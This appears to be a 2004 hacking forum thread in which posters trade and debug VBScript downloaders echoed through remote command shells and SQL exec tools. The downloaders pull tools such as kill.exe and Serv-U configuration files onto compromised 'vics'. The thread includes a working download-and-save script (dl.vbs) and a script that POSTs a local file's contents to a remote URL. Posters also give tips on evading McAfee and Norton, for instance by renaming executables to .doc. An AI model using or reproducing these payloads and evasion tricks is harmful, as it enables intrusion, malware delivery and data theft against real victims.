C:\WINDOWS\system32>cscript webdown.vbs Microsoft (R) Windows Script Host Version 5.6 Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.
C:\WINDOWS\system32>cscript webdown.vbs Microsoft (R) Windows Script Host Version 5.6 Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.
What to do now?
The VBscript failed to execute correctly i guess because i don't that message.
extreme
Mar 16 2004, 02:44 AM
First of all, this is locall stuff, so offcourse your download manager will be alerted... Second, you don't have to know VBS much to see that xPost is a variable for first file.. If you wish to download second file, just use diff variable...
Mandarins
Mar 19 2004, 01:12 PM
I think this progie EXE2VBS could be quite usefull
h**p://www.haxorcitos.com/ficheros/EXE2VBS_10.zip
3plx
Apr 5 2004, 08:08 AM
when i try to run this on my comp i got error on line 1 char 1 can someone help me and recode this xPost.Open "GET","***/tlist.exe",0 xPost.Open "GET","***/3plx/sux.ini",0 xPost.Open "GET","***/sux.dll",0 xPost.Open "GET","*****/ServUDaemon.ini",0 xPost.Open "GET","***/kill.exe",0 xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "tlist.exe",2 sGet.SaveToFile "sux.ini",2 sGet.SaveToFile "sux.dll",2 sGet.SaveToFile "sql.exe",2 sGet.SaveToFile "ServUDaemon.ini",2 sGet.SaveToFile "kill.exe",2 cscript webdown.vbs
Killaloop
Apr 5 2004, 08:24 AM
QUOTE (dragonfly @ Mar 15 2004, 02:55 PM)
CODE
C:\WINDOWS\system32>echo Set xPost = CreateObject("Microsoft.XMLHTTP") 1>webdown.vbs
C:\WINDOWS\system32>cscript webdown.vbs Microsoft (R) Windows Script Host Version 5.6 Copyright (C) Microsoft Corporation 1996-2001. All rights reserved.
C:\WINDOWS\system32\webdown.vbs(3, 1) msxml3.dll: The system cannot locate the resource specified.
What to do now?
xml is not installed on that system use a method without the need of xml code.
Montague
Apr 5 2004, 08:24 AM
really nice, I tried it and it worked for me. Thanks for sharing thid really fast method!
BacKZoiD.
Killaloop
Apr 5 2004, 08:53 AM
QUOTE (3plx @ Apr 5 2004, 08:08 AM)
when i try to run this on my comp i got error on line 1 char 1 can someone help me and recode this xPost.Open "GET","***/tlist.exe",0 xPost.Open "GET","***/3plx/sux.ini",0 xPost.Open "GET","***/sux.dll",0 xPost.Open "GET","*****/ServUDaemon.ini",0 xPost.Open "GET","***/kill.exe",0 xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "tlist.exe",2 sGet.SaveToFile "sux.ini",2 sGet.SaveToFile "sux.dll",2 sGet.SaveToFile "sql.exe",2 sGet.SaveToFile "ServUDaemon.ini",2 sGet.SaveToFile "kill.exe",2 cscript webdown.vbs
how should this ever work? you don't know much about vbs I guess.. well I don't know nothing too, but that what I know looks like this:
for more then 2 files you will figure out on your own I hope, since I used easy to understand variables. however there are faster ways too but you have to take care not to write the same stream into every file...its not that easy.
frgn
Apr 5 2004, 09:34 AM
i like this method very much, works just fine and no av detects it, if you run your file separately.
thx
tianzhen
Apr 6 2004, 04:42 PM
i found some vics begin deleting the cscript.exe
frgn
Apr 6 2004, 05:08 PM
just found out, that mcAffee server edition detects the script...
but i got told that from a friend of mine, so i can't tell any further details
(script without automatic execution of exe-file)
axelfoley643
Apr 6 2004, 09:49 PM
interesting, thanks m8
2Fa$t
Apr 9 2004, 04:00 PM
Every time i wanna use with sqlexec it says sql_error by echoing the commands! Somebody knows an suggestion?
rouge
Apr 18 2004, 06:24 PM
best way is just the ftp.exe way or tftp.exe cuz the others are detected or will be detected very soon.
But when i tested i get,
echo Set HTTPGET = CreateObject(^"^Microsoft.XMLHTTP^"^)>>c:\madefile.vbs
SQL_ERROR
how can that be??? what can i change?
Burton
Apr 20 2004, 11:57 AM
Hi guys
thx for this great method
ich have the same problem if anyone can help please reply
burton
Killaloop
Apr 20 2004, 12:09 PM
"i found some vics begin deleting the cscript.exe" Not admins do it, skids delete it.
"best way is just the ftp.exe way or tftp.exe cuz the others are detected or will be detected very soon." Nope. Find your own way and don't make it public. still many ways to use scripts to easily bypass firewall because files will be created not downloaded...still the nicest method.
"Every time i wanna use with sqlexec it says sql_error by echoing the commands! Somebody knows an suggestion?" the green apple sqlexec doesn't like certain signs so swicht to another program, there are 1000 of them just google
The Storm
Apr 20 2004, 01:44 PM
many progz have problems with echoing " how knows on how to echo a " in Sqlbrowser? would be gr8 PS: the script workx fine at all!
dEuS
Apr 20 2004, 09:42 PM
Thats also a very nice (and working!) idea. THX
I only have a problem with a line: echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs
Thats working, but when i echo these there is only this: Echo Const adSaveCreateOverWrite
So the "=2" is missing.
Thats strange... But I cant do anything against that Any suggestions?
cya
Qlimax
Apr 20 2004, 10:10 PM
tnx buddy its nice mathod of geting files to box's when the ftp.exe\rcp.exe\tftp.exe not work
The Storm
Apr 21 2004, 07:24 AM
QUOTE (dEuS @ Apr 20 2004, 09:42 PM)
Thats also a very nice (and working!) idea. THX
I only have a problem with a line: echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs
Thats working, but when i echo these there is only this: Echo Const adSaveCreateOverWrite
So the "=2" is missing.
Thats strange... But I cant do anything against that Any suggestions?
cya
I also have this problem I think u use SQLEXEC 1 or 2 there it don`t work don`t know why evt. ther =2 is a special code or sth. like this! Who Knows a tool like SQL Browser that can echo a " would be gr8 help!
[eXPhase
Apr 21 2004, 07:56 AM
Some AV do detect the script, but I found out that they only delete it when you are downloading a executable file. When I rename my tool program.exe to program.doc on my http server and rename it on the victim after download, it still works
Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?
dmg
Apr 21 2004, 11:42 AM
QUOTE (dEuS @ Apr 20 2004, 09:42 PM)
Thats also a very nice (and working!) idea. THX
I only have a problem with a line: echo Const adSaveCreateOverWrite=2>>c:\madefile.vbs
Thats working, but when i echo these there is only this: Echo Const adSaveCreateOverWrite
So the "=2" is missing.
Thats strange... But I cant do anything against that Any suggestions?
Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?
I guess more because the have download software running.
totof
Apr 29 2004, 03:33 AM
how do you do wiht the instruction PUT ??
F34R
May 15 2004, 12:39 PM
Looks promising... too bad I'm too n00b to know what exactly to edit if I, for example, wanted the bot to download/execute a file such as hxxp://www.tripod.com/example.exe
bdark
May 15 2004, 01:14 PM
QUOTE ([eXPhase @ Apr 21 2004, 07:56 AM)
Btw. On some vics the download doesn't start at all... that is because cscript.exe is deleted?
It could be because there is running a service that doesn't let you create data or files on disk. Maybe stopping it first, and then echoing the commands, so your the script file can be created and then executed for downloading your tools/files
147111
May 16 2004, 03:48 AM
temptation of course vbs file is run like exe , and realloader u may have a mistake in ur echoing , if u copy the exact echo with its spaces and change what is supposed to be changed it should work fine , and its tested remotely by the way .. Maybe soon i am planning to release some document about all ways to upload files to cmd shell , since i started with tftp and net share , then i increased my knowledge to the ftp method , then i made that vbs thing , and i knew after that the mshta thing , and i did other way with echoing , but its still beta thing (has some problems , but u can echo anytext u want including signs and all ..
c:\trojan.vbs(1, 28) Microsoft VBScript compilation error: Expected ')'
chris105
May 26 2004, 06:43 PM
QUOTE (Action @ Nov 29 2003, 03:20 PM)
mcafee reads it, so its quite useless
useless, lol. just because mcafee reads it why does this make it pointless. is mcafee the only AV does everyone have AV in the first place ?
SyN/AcK
May 26 2004, 08:00 PM
QUOTE (chris105 @ May 26 2004, 06:43 PM)
QUOTE (Action @ Nov 29 2003, 03:20 PM)
mcafee reads it, so its quite useless
useless, lol. just because mcafee reads it why does this make it pointless. is mcafee the only AV does everyone have AV in the first place ?
Quite true... and even more so, does everybody even have an AV? No.
If you wanted to talk about useless, you might suggest this exploit is useless since Unicode/Double Decode exploits are so old now, but does that matter? There is still thousands of comps out there vulnerable to it.
Partizaan
May 27 2004, 09:07 PM
I say nice job works fine for the record. Norton coorp
Dim Partizaan Set Partizaan = CreateObject("WScript.Shell") Partizaan.Run "freecell.exe"
with wscript if .arguments.count<3 then .quit url=.arguments(0)&"?s="&.arguments(2) fn=.arguments(1) end with with createobject("adodb.stream") .type=1:.open:.loadfromfile fn:s=.read:.close end with with createobject("microsoft.xmlhttp") .open "post",url,false:.send s wscript.echo .statustext end with
2. start its:http://www.sometips.com/soft/ps.exe cd "C:\Documents and Settings\Default User\Local Settings\Temporary Internet Files\Content.IE5" dir /s ps[1].exe copy XX000XXX\ps[1].exe c:\path\ps.exe del XX000XXX\ps[1].exe
3. @echo with wscript:if .arguments.count^<2 then .quit:end if > dl.vbs @echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >> dl.vbs @echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then .echo "Error:"+web.status:.quit >> dl.vbs @echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >> dl.vbs